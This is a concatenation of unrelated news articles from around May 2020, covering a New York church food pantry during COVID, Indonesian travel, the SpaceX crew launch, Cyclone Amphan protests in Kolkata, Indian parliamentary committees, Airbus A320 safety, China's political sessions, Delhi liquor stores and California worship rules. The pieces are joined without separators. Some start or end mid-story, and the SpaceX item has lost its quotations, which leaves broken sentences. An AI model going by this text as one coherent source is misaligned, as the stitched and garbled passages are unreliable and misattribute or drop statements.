Not long after Hutchins finished her prayer, the doors opened and guests started to roll in 30 to 50 at a time, staggering their entries and exits. Since New York City became an epicenter of the coronavirus pandemic, the operation has been opening an hour and a half earlier than normal to accommodate the extra safety logistics.

Everything has got to be strict, Hutchins said. But we find ourselves grabbing an arm or an elbow or pat someones back. Its so hard to stay sterile when you see people you love and you want to reach out to them.

The pantry serves just over 400 guests on a given Saturday, though Hutchins knows that many of the older regulars are staying home out of caution, even as the pantry registers a growing number of new guests each week.

Image: Courtesy of The Father's Heart Ministries

Though guests remain thankful, some have met the changes with sneer.

Shortly after opening, a lofty, striking homeless man questioned the volunteers faith when he saw them wearing face masks and gloves and keeping their distance.

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Why? he asked loudly, pointing to their protective gear. Dont you believe in God? Dont you have faith?

Its not about my faith, Hutchins, her petite frame drowning in an overcoat, tried to lull the mans taunts. Its about other people getting my germs.

Jesus touched the lepers, and he didnt get leprosy, the man retorted.

Another homeless man was on his way out when Hutchins offered him a mask. He quietly refused, saying, I have faith in God.

Still, Hutchins emphasizes, such encounters are one-offs. Most of their guests are embracing the challenges with gratitude. One homeless woman smiled and told her, You doing this brings hope to everyone on the streets.

Guests are normally offered a Bible as they leave the church. In the past, many would refuse. But lately, Hutchins says, guests have been taking Bibles like crazy.

People are saying, Everything that I counted on, everything that I lived for, everything that I relied on is gone, she said. I think that causes people to look away from the natural things and look to God.

What is hard is that Hutchins and volunteers cant console hurting people in the same ways they used to. The comfort that hugging and physical contact bring are what some of the guests and volunteers had come to look forward to, said Neil Weiss, a former homeless guest who now serves as a volunteer supervisor.

We cant interact like we used to, Weiss said. But, we still hear them say God bless you. We really appreciate it. We heard that before, but it seems like theyre expressing it deeper.

Volunteers are finding ways to adjust. For example, since sitting down with guests to eat and mingling with them in line are no longer options, theyve turned to a new initiative in the form of prayer slips. Guests write prayer requests on pieces of papers that volunteers then carry with them throughout the week and pray over. The prayer pens are sanitized after every use.

Food insecurity is usually linked to the homeless. But since the pandemic hit and unemployment has soared, Hutchins says The Fathers Heart is seeing more than 100 new guests almost every week. Many of these first-timers have never before had to find free food.

Who knows that theres a Food Bank for New York City unless you need food? Hutchins said.

New guests shes encountering are going online and calling hunger hotlines to find resources theyve never needed before. Many come agitated, scared, or confused.

And theyre very hungry. Hutchins says shes proud that The Fathers Heart is equipped to remain open with staff and supplies for the long haul.

Image: Courtesy of The Father's Heart Ministries

Over 100 service locations affiliated with the Food Bank for New York Citywhich supplies more than 1,000 food pantries and soup kitchenshave suspended their operations. According to New York City Mission Society, an organization aimed at ending multigenerational poverty, a third of the nations food pantries are also closed, impacting over 17 million people.

Some pantries dont have enough space to comply with social distancing requirements. Some experienced debilitating drops in volunteers.

We didnt have volunteers to cook anymore, said a representative from Community Help in Park Slope Inc., a similar service center in Brooklyn that recently suspended services. Everyone is afraid to come in.

Hutchins says shes grateful to her volunteers for their dedication to serving the community. She worries about protecting their safety, too, every time she thinks about them leaving their homes and risking their lives to serve.

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You want to do whats best for the community, she said. But you also have staff that you need to protect and take care of, too.

To that end, Hutchins has had a lot of help. Partners in New York, such as the Food Bank and United Way, have provided boxes of gloves with every donation delivery. Masks have come in from church partners and locals around the city and across the country.

Ione Parshall is a retired military officer in Manhattan, Kansas, who wanted to help Americas worst-hit city that happens to share a name with hers. So far, she has rallied her congregation, University Christian Church, to make and donate more than 350 masks to The Fathers Heart.

I just felt like I needed to do something, Parshall said. As a Christian, were supposed to reach out to those in need.

Hutchins is now looking ahead to recovery. Her community has gone through similar crises, like Hurricane Sandy, and she wonders how people will overcome this one.

Theres going to be a lot more people needing food, she said. We may have to be open more and hire more people.

As they said goodbye to their last guest of the day, Hutchins offered individually wrapped Communion for her volunteers and closed with a prayer, which included:

We are an extension of Gods love on earth.

Then, in the middle of the sanctuary, pantry boxes stacked high around, and everyone standing six feet apart, they sang Amazing Grace.

Rita Omokha is a freelance journalist based in New York City. She is an alumna of Columbia University Graduate School of Journalism.


(Photo: Unsplash)

Traveling overseas has always been fraught with difficulties, but now many tourists rightly conclude that to go overseas will be outright dangerous given the present coronavirus concerns. Indonesia has been a fantastic and highly underrated vacation destination, with great cities, amusements at a fair price, and natural wonders like the beaches of Bali. But like so many countries across the world, Indonesia is concerned about the virus with Jakarta governor Anies Baswedan declaring an emergency similar to that of cities across the globe. Indonesia has reported 369 cases and 32 deaths at the time of writing, though the former number is almost certainly much higher. The result will be catastrophic for Indonesian tour companies which conduct many trips such as the Umroh, which could mean better deals for the determined traveler.

But whether you simply want to plan out a trip to Indonesia in a few months after this crisis has abated or want to take the risk of traveling now, here are a few things about traveling to Indonesia to consider.

Can I Go?

Like practically every country, Indonesia has placed strict limits on who can currently enter the country. Indonesia currently bans visitors from China, Iran, and most Western European countries including France and the United Kingdom. Furthermore, the Indonesian government has suspended short-stay and visa on arrival visits for at least one month, and it is reasonable to expect that it may be extended after the one-month period has expired.

This is not a blanket ban on tourism. But it does mean that visitors to Indonesia must submit or re-submit a visa application to the nearest Indonesian embassy, and any application must have a health statement. This is a certificate issued shortly before departure which proves that you have been tested and do not have the virus. Given the global difficulties in obtaining such a test, and the reality is that traveling to Indonesia over the next month at least will be incredibly tricky at best.

The Indonesian Language

Even if you cannot go to Indonesia right now, there are things you can do today to prepare for a future trip to Indonesia. And as with any trip overseas, learning the language is key if you want to do more than the typical tourist traps.

The official language of Indonesia is called Indonesian or Bahasa Indonesia, but there are over 750 languages among the numerous islands. Many islands have their own language which is commonly spoken among the people of said island such as Javanese, Balinese, and Sumatran. Learning phrases from those languages can help, but your main goal should be to learn Indonesian.

There are basic phrases which you can learn for your trip, but it should be noted that Indonesian is fairly easy to learn compared to other Asian languages. Indonesian uses the Latin alphabet due to the Dutch, and its grammar is flexible.

Food, Water, and Shopping

Indonesia is filled with tourist destinations, but its markets and food are as interesting as any natural or historical landmark. Indonesia is a gateway between Asia, the West, and the Middle East, giving its own unique cuisine which has not achieved significant penetration in the West. Each island also has its own take on similar foods, influenced by its local culture.

Indonesia was once known as the Spice Islands, as so its food uses a great deal of spice which a Western visitor may need some time to adjust to. Some popular dishes are nasi campur, nasi goreng, and rendeng. Prepare to eat a lot of rice, accompanied by a wide range of side dishes.

Indonesia's most popular beer is Bitang, and travelers can also drink local coffee as well as coconut water. However, do not drink the local tap water and stick strictly to bottled water.

See Now: The U.S. had the highest number of Most Wanted properties, dominating the Hotels.com Loved By Guests Awards 2018
Elon Musk's SpaceX is set to launch Dragon Demo-2 next Wednesday, a mission that will send NASA astronauts into space from U.S. soil for the first time in nearly a decade.American astronauts Bob Behnken and Doug Hurley will launch from NASA's Kennedy Space Center in Florida on SpaceX's Falcon 9 and fly to the International Space Station (ISS) aboard a Crew Dragon capsule. The last such launch came in July 2011 and became the final mission of NASA's space shuttle program.Crew Dragon Demo-2 will also be the first two-person orbital spaceflight launched from the U.S. since STS-4 in 1982.Hurley said on Tuesday during a meeting of the National Space Council, a policy-steering body led by Chairman and Vice President Mike Pence.said Hurley, 53, who was on board that last space shuttle flight.Hurley, the mission commander, and Behnken will conduct experiments on board the ISS, where they are scheduled to stay for one to four months, until the next Crew Dragon launch. They will then return to Earth for a splashdown in the Atlantic Ocean east of Cape Canaveral.The first stage booster on the launch will also attempt to land autonomously in the Atlantic Ocean on a SpaceX floating barge called "Of Course I Still Love You."NASA Administrator Jim Bridenstine said Dragon Demo-2 is a priority for the agency.Bridenstine told CNBC SpaceX has a $2.6 billion contract with NASA's Commercial Crew Program to conduct six such flights, and also flies robotic resupply missions with the cargo version of Dragon, first sent to the ISS in 2012.The flight comes amid some turmoil in NASA. On Tuesday, the agency announced that Doug Loverro had resigned as associate administrator for NASA's Human Exploration and Operations Mission Directorate. Loverro's former deputy, former NASA astronaut Ken Bowersox, has taken over the job as acting associate administrator.NASA officials wrote in a statement about Loverro's departure.
People in various parts of Kolkata staged protests on Friday demanding immediate resumption of power and water supply, two days after cyclone 'Amphan' ravaged West Bengal, snapping cables, uprooting trees and leaving behind a trail of destruction.

Kolkata Mayor Firhad Hakim, on his part, gave assurances that normalcy would be restored in a week, as government officials were working round the clock to improve the situation.

Attacking the TMC government, state BJP president Dilip Ghosh said the protests were a proof that the ruling dispensation has failed to live up to people's expectations.

At Behala area in south Kolkata, agitators took to the streets and shouted slogans against the government, claiming that residents had been reeling under power and water crisis for over 48 hours, with no respite in sight.

"We have been living without mobile connectivity, electricity and proper drinking water for the last 48 hours. Is this a joke? We can do without mobile connectivity, but what about electricity and clean drinking water? We are asking for basic facilities," said Amit Dutta, a resident of Behala.

Similar protests were also reported from other parts of the state capital.

Pooja Saha, a techie who lives in central Kolkata, said he had called the Kolkata Municipal Corporation helpline number at least 50 times but got no response.

"It's stinking everywhere! I have called the KMC helpline more than 50 times, but received no response. If the clogged drains are not cleared anytime soon, people in the locality might fall ill," she said.

Hakim, who is also a TMC minister, said he had asked the city's private power supply provider to take necessary measures and ensure that supply was restored at the earliest.

"No one had imagined that the cyclone would cause such devastation. More than 5,000 trees have been uprooted. We have already cleared several roads. I can assure the people of Kolkata that normalcy would be restored within a week. We are in touch with the private power supply provider and had asked them to restore supply as early as possible," he said.

The Kolkata mayor also said the relief teams were working on a war footing, and life has returned to normal in many parts of the city.

Responding to Ghosh's criticism, Hakim said, "He should learn to speak less when the chief minister and the prime minister are interacting with each other (on the issue of improving the situation)."



Prime Minister Nareandra Modi flew down to the state capital on Friday, and undertook an aerial survey of the cyclone-hit areas in Bengal, along with CM Mamata Banerjee.

Lauding the efforts of the state government in combating the crisis, Modi announced an advance assistance of Rs 1,000 crore for cyclone-ravaged Bengal.

In Namkhana area of South 24 Parganas district, people complained that they were not given enough tarpaulin sheets to cover the roofs of houses damaged by the cyclone.

In North 24 Parganas, distressed people claimed they were running out of food, as shops in the vicinity were yet to lift shutters in the aftermath of the calamity.

Sunderbans affairs minister Manturam Pakhira said officials concerned have been asked to immediately address the problems of local people.

Cyclone 'Amphan', which made a landfall near Sunderbans in South 24 Parganas, had rampaged through several parts of the state on May 20, dumping heavy rain, swamping homes and farmland, and leaving at least 80 people dead.

The CM, following her review meeting with Modi, said Bengal has suffered losses of more than Rs 1 lakh crore.

She also said that the cyclone has adversely impacted 60 per cent of the state's population.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A selective critical checklist of notable Friday TV:

Homecoming (streaming on Amazon Prime Video): If we gave away any of the twists in the taut second season of Amazon Prime's gripping memory mystery, we'd have to try to find ways of making you forget. Disorientation is the point  also the device that hooks you immediately into the new season, which introduces Janelle Monae as the new lead (Julia Roberts starred in the first season), first seen as a Jane Doe who awakens in a rowboat in the middle of a lake with no idea who she is or how she got there. Following clues that are often false leads (shades of the cult film Memento) eventually guides her to the sinister Evil Corp of the Geist Group. Stephan James of the first season, as an ex-military guinea pig of Geist's memory-blurring Homecoming project, joins Monae on her quest, leading to a shocking, satisfying ending that will be hard to forget. Chris Cooper and Joan Cusack, both new to the cast as well, also make memorable impressions. (See the full review.)

Mythic Quest: Quarantine (streaming on Apple TV+): A workplace comedy, from It's Always Sunny in Philadelphia's Rob McElhenney, that deserves cult status returns for a special social-distancing episode, and the multiple-screen gimmick works especially well for the dysfunctional company that operates Mythic Quest, the biggest multiplayer video game ever. Filmed and edited remotely on iPhones, the episode finds the team estranged not only by distance, but by ego. It builds to a powerful depiction of loneliness in self-isolation, when Poppy (Charlotte Nicdao) finally forces herself to stop working. The final gag, though, is truly euphoric, celebrating the connectivity that is helping to get many of us through this crisis.

AKA Jane Roe (9/8c, FX): The world first knew her as Jane Roe, but this documentary takes an unvarnished look at Norma McCorvey, the complicated Texas woman whose unwanted pregnancy led to the landmark Roe v. Wade Supreme Court ruling. In the year before her death in 2017, McCorney gave revealing "deathbed confession" interviews to producer/director Nick Sweeney, explaining the shocking truth behind her unexpected conversion in the mid-1990s to the anti-abortion movement. Hers is a cautionary tale amid the ever-polarizing debate over reproductive rights.

See Also What's Coming and Going From Netflix in June 2020 From originals like '13 Reasons Why' and 'The Politician' to beloved series like 'Hannibal' and the final run of 'How to Get Away With Murder.'

Inside Friday TV: Originally set for a theatrical release, Lovebirds opens on Netflix, starring Insecure's Issa Rae and The Big Sick's Kumail Nanjiani as the title couple, who get caught up in a frantic rom-com caper after witnessing a murder and going on the run from killers and cops Yvette Nicole Brown hosts the Disney+ game show The Big Fib, in which kids must deduce which of two people, one of them an expert, is lying about a very specific topic. If the contestant chooses correctly, the liar gets foamed Discovery's All on the Line (9/8c) follows rival crews of tuna fishermen struggling to land monster tuna off the coast of Gloucester, Mass.
Dr Natalia Kamen, the Executive Director of the United Nations Population Fund (UNFPA), has called for accelerated efforts towards ending obstetric fistula by 2030, which is the deadline for achieving the Sustainable Development Goals (SDGs).



The scourge of the novel Coronavirus, she cautioned, threatened to take a huge global toll on maternal and newborn health.



Dr Kamen said these in a statement issued, on Friday, to herald the commemoration of this years International Womens Day to End Fistula, on Saturday, May 23.



She recounted how the world convened in Nairobi, Kenya, last November, to celebrate the tremendous gains of the past 25 years in advancing the health and rights of women and girls.



She said:With a deep sense of urgency, purpose and hope, leaders from around the world  from presidents to the grassroots, from refugees to royalty, from youth activists to CEOs  committed to accelerating action to ensure sexual and reproductive health and rights for all.



However, just six months later, she said, the commitment was being tested like never before as health systems struggled to respond to the COVID-19 pandemic.



Obstetric fistula is a medical condition in which a hole develops in the birth canal as a result of childbirth. It could be between the vagina and the rectum; ureter, or bladder and can result in incontinence of urine, faeces or both.



Between 50,000 and 100,000 women develop the condition yearly.



Dr Kamen noted that the COVID-19 crisis was already compounding the economic, social and logistical barriers that women and girls faced in accessing sexual and reproductive health services.



She said even where these services were available and accessible, fear, misinformation and stigma related to COVID-19 were deterring some pregnant women from seeking obstetric care.



Therefore, this years celebration, which is on the theme: End gender inequality! End health inequities! End fistula now! seeks to re-echo the need for governments to stick to their commitments made at the Nairobi Summit, and remain focused in achieving the global ambition, she said.



In the end, she said, the response to the COVID-19 pandemic must ensure the delivery of essential sexual and reproductive health services, including midwifery services and emergency obstetric care.

The absence of timely medical treatment would likely spur a dramatic increase in obstetric fistula, a serious childbirth injury resulting from prolonged, obstructed labour, she said.



Poor women and girls in rural areas are especially at risk, while the disproportionate incidence of the debilitating and sometimes life-threatening condition, reflects the social and economic inequities, and of unequal enjoyment of the right to health, including sexual and reproductive health.



She cited some contributory factors towards such violations as the lack of access to skilled health personnel; child marriage and early childbearing.



The Executive Director said while fistula had been virtually eliminated in developed nations, hundreds of thousands of women and girls in the developing world still lived with it and they required reintegration programmes.



The Fund for their support has, since 2003, however, enabled more than 113,000 women to undergo obstetric fistula repair surgeries.



Dr Kamen stated: On this International Day to End Fistula, the memory of the late Dr. Catherine Hamlin, who passed away in March this year, looms large.



She dedicated most of her long life to treating women and girls with fistula, focusing not only on the physical injury itself, but also on the scars created by stigma and discrimination.



She said her charitable organisation, Hamlin Fistula Ethiopia, had brought hope and healing to women and girls, raised global awareness of fistula and spurred innovative efforts to end it.



She, therefore, called for a united front globally, in working in Dr. Hamlins memory, towards fulfilling her lifelong dream and the long-held aspiration to eliminate the preventable condition, and in doing so, help protect the health and human rights of the poorest and most vulnerable women and girls.

Source: GNA









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In the past decade, Parliament met, on an average, for little over two months per year to transact legislative business and debate key issues. That obviously is too short a period for members of either House to come to grips, in any meaningful manner, with legislations and other matters of import.

What couldnt be realised in open sessions of the Lok Sabha and Rajya Sabha was made possible through the department related standing committees (DRSCs) that were Parliaments microcosm. Their in-camera proceedings provided members the requisite relief from public glare to rise above partisan political/party interests for reaching consensus or broad agreements, on the stickiest of issues. Democracy indeed worked better in these miniature groups.

In normal times, the parliamentary panels, especially the DRSCs, met through the year, deliberating on a host of issues, especially Bills and budgetary demands of various ministries and departments. The nationwide lockdown that began on March 25 hit these panels the hardest, their core contribution power-braked by the absence of committee members, many of whom were confined to their home constituencies and states.

The March 25 countrywide closure Prime Minister Narendra Modi announced to contain the Covid-19 pandemic was enforced two days after Parliament curtailed its Budget Session. After the initial view that cutting short the session could demoralise the people in general, and the doctors and paramedics in particular, such was the alarm triggered by the medical emergency that the all important Finance Bill, 2020 was passed without any debate in the Lok Sabha.

It was against this backdrop that RS chairman Venkaiah Naidu and LS Speaker Om Birla met on May 7, the 44th day of the lockdown to look for ways to put the committee-work back on rails. They followed up those confabulations with another meeting on May 18  the 55th day of the shutdown marked by substantial easing of the initial restrictions.

In their first meeting, Naidu and Birla had asked secretaries general of the two Houses to explore the possibility of DRSC meetings through video-conferencing. The SGs have since reverted to the presiding officers, pointing out serious technical and security issues in e-linking members stationed in different states, a person familiar with the discussions told this writer.

The other glitch is that Parliaments general purposes committee might have to be co-opted as the matter falls in its jurisdiction. That committee too is of members from both Houses who will have to discuss the matter online.

The nearly two dozen DRSCs were institutionalised in 1993 to help parliamentarians understand the complexities of governance.

They generally have as members 21 LS MPs and 10 from the Upper House who meet under a designated chairperson.

They are the platforms to which officials are summoned for clarifications to enhance the members understanding of the subjects under discussion. It is that element in their work that brings up the security aspect on which theres little scope to take chances.

At their last meeting on Monday, the presiding officers were nevertheless sanguine that DRSCs could resume work in the event of air travel opening on the conclusion of lockdown 4.0 on May 31 or anytime thereafter.

A plain reading of the Lok Sabhas Rule 266  which says the meetings have to be held in private  also puts the balance in favour of regular interactions as opposed to online discussions. If that regimen is possible, itll at once obviate the logistical and confidentiality pitfalls.

Aside from removing bottlenecks to make DRSCs functional, theres the challenge of holding Parliaments Monsoon session  generally scheduled in July  while ensuring social distancing in the LS-RS chambers where the seating arrangements are too cluttered to meet the post-Covid standards.

The Parliament was adjourned sine die on March 23. As per the Constitutions Article 85(I), it has to meet before the expiry of six months. That leaves scope for delaying the Monsoon sitting  but issues relating to the seating plans will remain.

The summoning of Parliament is in the Governments domain. Yet, a veteran MP chose to think aloud. He suggested, on conditions of anonymity, that if the pandemic persists, the 245 member Rajya Sabha could meet in the larger Lok Sabha chamber and the latter could shift to the spacious Central Hall. Doable though they may seem, such improvisations to reopen our democracys highest temple require wider consultations and agreement.
The Airbus A320, the aircraft type that came down just short of Karachi airport, is arguably the most successful airliner ever. It has a formidable safety record.

But the narrow-bodied twin-jet, which typically holds 180 passengers in an all-economy configuration, had a dreadful start to its flying career. In June 1988, a demonstration flight intended to persuade airlines around the world to buy the jet ended in tragedy when the plane struck trees at an air show.

In the 32 years between that event and the Pakistan International Airlines accident, 10 A320s have been lost in fatal crashes  along with two of its larger sibling, the A321.

The smaller A318 and A319 variants have suffered no fatal accidents.

But relative to the number of aircraft in service  almost 9,000, at least until the coronavirus pandemic grounded much of world aviation  the A320 has proved extremely safe and reliable.

Airbus narrow-bodied jets are the only short-haul aircraft used by British Airways. The A320 series is the only type flown by easyJet  which, relative to the number of passengers carried without a single fatality in an accident, is the second safest airline in the world.

In top place is Ryanair, which uses only the Boeing 737-800. This type has its origins two decades earlier than the A320, in the 1960s, and still has the same fuselage profile.

Airbuss A320 has overtaken Boeings 737 in sales  largely because of the grounding of the 737 Max following two fatal accidents, involving Lion Air of Indonesia and Ethiopian Airlines.

The Max remains out of service, though Ryanair  which has its own variant of the jet on order  expects to receive its first aircraft later this year.

Because the 737 has been flying for much longer, especially in the far less safe decades of the 1970s and 80s, it has suffered many more fatal accidents.

But many in aviation regard the Airbus twin-jet as a superior aircraft. It also has a slightly wider fuselage, meaning more room for passengers.

Two of the fatal events involving the A320 series were deliberate acts  both in 2015.

In March of that year, the co-pilot of Germanwings flight 9525 from Barcelona to Dusseldorf locked the captain out of the flight deck and crashed the plane into a mountain in France. All 150 people on board died.

At the end of October 2015, Metrojet flight 9268 crashed with the loss of all 224 passengers and crew shortly after take off from Sharm el Sheikh in Egypt, destination St Petersburg. It is believed a bomb was placed on board at the departure airport.

The remarkable resilience of the A320 has been demonstrated in two other events, however. In January 2009, an Airbus flying for US Airways ditched in the Hudson River in New York after both engines failed. All 155 people on board safely evacuated in the so-called Miracle on the Hudson.

In February 2016, a suicide bomber attempted to destroy a Daallo Airlines flight from Mogadishu to Djibouti using a device concealed in a laptop. But the attack failed: while the fuselage was ruptured, only the bomber was ejected and the plane landed safely.
-The third session of the 13th National Committee of the Chinese People's Political Consultative Conference, China's top political advisory body, opened on Thursday.

-This year's "two sessions" are expected to highlight the nation's final push in poverty alleviation and completing the building of a moderately prosperous society, or "Xiaokang," in all respects.

-National lawmakers and political advisors in China are also expected to discuss how to strive for improved performance in all areas of economic and social development as epidemic prevention and control becomes regular practice.

BEIJING, May 21 (Xinhua) -- China on Thursday raised the curtain for its annual political high season after an over-two-month postponement as the country has turned the tide on the COVID-19 epidemic.

The top political advisory body started its annual session Thursday afternoon in Beijing, kicking off the "two sessions," a major event in China's political calendar that also includes the annual gathering of the national legislature to open on Friday.

This year's sessions are expected to highlight China's final push in poverty alleviation and completing the building of a moderately prosperous society, or "Xiaokang," in all respects.

Aerial photo taken on May 14, 2020 shows a view of the county seat of Huanjiang Maonan Autonomous County in south China's Guangxi Zhuang Autonomous Region. (Xinhua/Lu Boan)

Xi Jinping and other Chinese leaders attended the opening meeting of the third session of the 13th National Committee of the Chinese People's Political Consultative Conference (CPPCC), held at the Great Hall of the People.

"The year 2020 marks the concluding phase for China's endeavor to build a moderately prosperous society in all respects and deliver on the 13th Five-Year Plan," Wang Yang, chairman of the 13th CPPCC National Committee, told more than 2,000 political advisors at the meeting.

The country's poverty alleviation tasks are near completion, as the number of impoverished people fell to 5.51 million at the end of 2019 from 98.99 million at the end of 2012.

Wang called on political advisors to fulfill their duties focusing on coordinating epidemic control and economic and social development to make contributions to winning the battle against poverty and completing the building of a moderately prosperous society in all respects.

People work at a factory of Baoding Technology Co., Ltd. at Tangqi Town in Yuhang District of Hangzhou City, east China's Zhejiang Province, Feb. 16, 2020. (Xinhua/Xu Yu)

Facing mounting uncertainties both at home and abroad, national legislators and political advisors are expected to offer insights on how to secure the goal-achieving victory and lay good foundations for future development.

Fairness and equality will be highlighted in this crucial year during discussions on "Xiaokang"-related topics such as housing, health and medical care, according to Xin Ming, a professor at the Party School of the Communist Party of China Central Committee.

This year's "two sessions" are expected to garner more attention from home and abroad as they shed light on how the country will march toward its centenary goal while navigating COVID-19 ravages.

China has, through arduous efforts, achieved decisive results in curbing the epidemic and public health will be high on the agenda during the sessions.

Lawmakers and political advisors are also expected to discuss how to strive for improved performance in all areas of economic and social development as epidemic prevention and control becomes regular practice.

A firefighter conducts disinfection at the Wuhan Tianhe International Airport in Wuhan, central China's Hubei Province, April 3, 2020. (Xinhua/Cheng Min)

"China demonstrated great vitality in its systems and I have great confidence in our nation's development despite uncertainties for the future," said Zhang Shuibo, a member of the CPPCC National Committee and head of the School of International Project Management at Tianjin University.

On Friday, Premier Li Keqiang is expected to deliver a government work report to the legislative session, which will be closely watched since it will offer a series of solutions and new policy indicators in terms of how the world's second-largest economy is handling the fallout of the COVID-19 epidemic and global economic recessions.

Also on the agenda is the deliberation of a draft civil code. Once adopted, it will help boost the modernization of China's system and capacity for governance, said Wang Yi, dean of the law school at Renmin University of China.
Half of pregnant women at risk of pre-eclampsia are missing out on preventative aspirin, say experts.

Aspirin has been used for decades to reduce the risk of pre-eclampsia, which leads to dangerously high blood pressure and threatens the life of both mother and baby.

Every year 23,000 pregnant women in Britain suffer from the condition, and it is the countrys leading cause of premature birth and stillbirth.

National guidelines recommend that women at risk of pre-eclampsia should begin to take preventative low-dose aspirin at 12 weeks of pregnancy. But writing in the Drug and Therapeutics Bulletin, consultant obstetrician Dr Joanna Girling said: Why is it that despite compelling evidence for its benefit and safety, more than 50 per cent of eligible pregnant women never start aspirin?

Half of pregnant women at risk of pre-eclampsia are missing out on preventative aspirin (file photo)

Midwives are unable to prescribe a suitable dose of aspirin so have to advise women to see their GP and request a prescription.

Dr Girling, from West Middlesex University Hospital, in west London, said this low uptake could be reversed if pharmacists were allowed to prescribe the drug.

She added: The cost of low-dose aspirin bought from a pharmacy is less than 5 for a six-month supply and much less costly than the unnecessary branded pregnancy related nutrients and supplements that many women choose to buy.

Midwives who cannot supply aspirin have to advise the woman to see her GP to request a prescription to take to a pharmacist, using at least three further episodes of patient and health professional time.

Perhaps it is not surprising that so few women achieve this within the week following the booking appointment.

If we are serious about increasing uptake of a nationally recommended evidence-based life-saving low-cost intervention, how about developing a national PGD [patient group direction] to allow community pharmacists to supply low-dose aspirin to women who are at risk of pre-eclampsia?
Less than a third of the 239 privately run liquor stores will be allowed to open from Saturday, according to excise department order on Friday that approved 66 of these shops to open under the condition that they adhere to the odd-even rule in place for market places.

Delhi on Monday allowed liquor stores to open, unless they were in a mall, the airport or containment zones. There are 239 privately run shops that are eligible to open but needed to first submit stock records and declare they are not in a containment zone.

Fridays order, issued by special commissioner (excise) Sandeep Mishra, cleared 66 of them and also warned store owners against selling liquor without scanning the barcodes on the products. In case of any un-scanned sale, the MSR (monthly stock record) gap generated shall be treated as the stock sold and 70% Special Corona Fee shall be levied, read the order.

Excise officials said that these 66 shops will be allowed to operate from Saturday on alternate days between 9am and 6.30pm. With this, more than 240 liquor stores will be allowed to reopen since the first relaxation order was issued by the excise department on May 4.

There are 864 liquor shops in Delhi. Of these, 172 were standalone, government-run shops allowed to open first, with more being opened in phases.

When asked about the remaining stores, a senior official said, We have issued directions to the municipal corporations to also open their stores, but only on odd-even basis. More stores will be granted approvals soon.

The excise department, however, has so far not compiled the number of liquor stores under the municipal corporations that will be allowed to reopen.

The delay in the order issued by the government left many private liquor store operators disappointed as they complained of not being able to reopen their shops despite complying with all the state orders. I submitted the required undertaking that our outlet does not fall under a Covid-19 containment zone. I also updated the stock list the day before yesterday. The approval should have come on Thursday, RS Mittal, who co-owns a liquor store on Vikas Marg said.

In its May 18 order, the excise department did mention that all L-7 licensees (private liquor shops) are directed to conduct monthly stock record (MSR) updates between May 19 and May 21 (Friday). Only after submission of the MSR compliance report and the undertaking, the shops will be allowed to open on the odd-even basis (sic), the order stated.

Vinod Giri, the director-general of the Confederation of Indian Alcoholic Beverage Companies, said that even as more liquor stores are reopening in the city, they are not pulling as much crowd as they should. The massive crowds and rampant violation of social distancing norms that we saw earlier are no longer there. Our initial reports suggest that after the 70% corona cess was imposed, sales have reduced. Even though liquor rates in Haryana and other states have increased by 10-15%, they are still cheaper than Delhi, Giri said.

He added that the industry met excise minister and deputy CM Manish Sisodia to demand a roll-back of the cess. Senior government officials said that the matter was discussed on Thursday by chief minister Arvind Kejriwal and the rest of the cabinet ministers. But it was decided that we would wait because the government does not have the complete liquor sale data as of now to fully assess the impact of the corona cess, said a senior government official on condition of anonymity.

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SACRAMENTO  California will issue coronavirus safety guidelines for religious gatherings by Monday, Gov. Gavin Newsom said hours after President Trump declared houses of worship essential and called on states to allow them to reopen this weekend.

Newsom has begun in recent weeks to relax his statewide stay-at-home order and allow Californians to resume public life, but faith groups have not yet been granted permission to accept congregants back for worship.

Religious services are still prohibited in California this weekend, part of a broader limitation on mass gatherings during the coronavirus pandemic. Newsom indicated Friday that a blanket ban for in-person worship might be eased soon, though he did not specify when.

We deeply respect and admire the faith, the devotion and the cause that unites millions and millions of Californians, Newsom said at a news conference in Yountville. At a time of so much anxiety and uncertainty, faith and that devotion to something higher, better and bigger than yourself becomes even more pronounced and more profound and more important.

The governor has expressed concern about the potential spread of the virus among congregations of people mixing from far and wide, coming together proximate in closed space at large scales.

Butte County officials said last week that more than 180 people were exposed to the coronavirus after they attended an unauthorized Mothers Day church service with an asymptomatic carrier. An early outbreak in Sacramento County was linked to fellowship meetings held by dozens of members of a church.

Even as many counties have received permission to start welcoming diners back to restaurants and shoppers back to stores, churches, mosques, synagogues and other places of worship are barred from holding services. Earlier this week, Newsom said it could be several weeks before the ban is lifted.

But California is under increasing pressure to let services resume. While federal courts have blocked several lawsuits seeking to end the ban immediately, the U.S. Justice Department warned the state this week that its policy amounted to religious discrimination and it must ease restrictions to enable services to take place with proper safety protocols.

A group of Christian pastors, known as Church United, has also promised to defy Newsom to hold services on May 31, the feast of the Pentecost. The group said it expects thousands of churches across the state to join.

Trump ramped up the stakes Friday when he told reporters that he was declaring religious institutions as essential places that provide essential services.

He said he would override any governors who did not abide by his request to let houses of worship reopen. The White House did not explain what authority Trump would invoke to issue any such order.

Some governors have deemed liquor stores and abortion clinics as essential, but not churches, Trump said. Its not right. So Im correcting this injustice and calling houses of worship essential.

At his news conference, Newsom gave no indication when religious services could actually resume.

Weve been engaging the faith community. We look forward to churches reopening in a safe and responsible manner, Newsom said.

The federal Centers for Disease Control and Prevention released new guidelines for religious institutions Friday that include taking steps to limit the size of gatherings and considering holding services outdoors or in large, well-ventilated areas.

Newsom said he would review those recommendations as the state finalizes its own rules. He said his administration has been aggressive in trying to put together guidelines that will do justice to peoples health and their fundamental need and desire to practice their faith.

The Associated Press contributed to this report.

Alexei Koseff is a San Francisco Chronicle staff writer. Email: alexei.koseff@sfchronicle.com Twitter: @akoseff
UNITED NATIONS, May 21 (Xinhua) -- Health authorities and medical professionals from China and Sudan on Thursday attended a Global MedixChange webinar, sharing their first-hand clinical experience and know-how in preventing COVID-19 and treating patients infected with the coronavirus.

Sara Abdelazim Hassanain, undersecretary of Sudan's health ministry, said in her opening remarks that expertise exchanges are "very important," especially for low-income and fragile countries facing the severe challenges caused by the COVID-19 pandemic.

As of Thursday, the African country has registered a total of 3,138 confirmed cases and 121 deaths. In recent weeks, there has been a sharp increase of infections, with the virus spreading across all 18 states in the country.

More than 80 medical experts, doctors and other public health professionals attended the webinar launched and organized by the health ministry of Sudan and the Second Affiliated Hospital of Zhejiang University School of Medicine (SAHZU), a non-profit public hospital founded in 1869.

SAHZU president Wang Jian'an shared with the Sudanese counterparts experience in hospital management, protective measures for healthcare workers and the strategies of treating and managing patients.

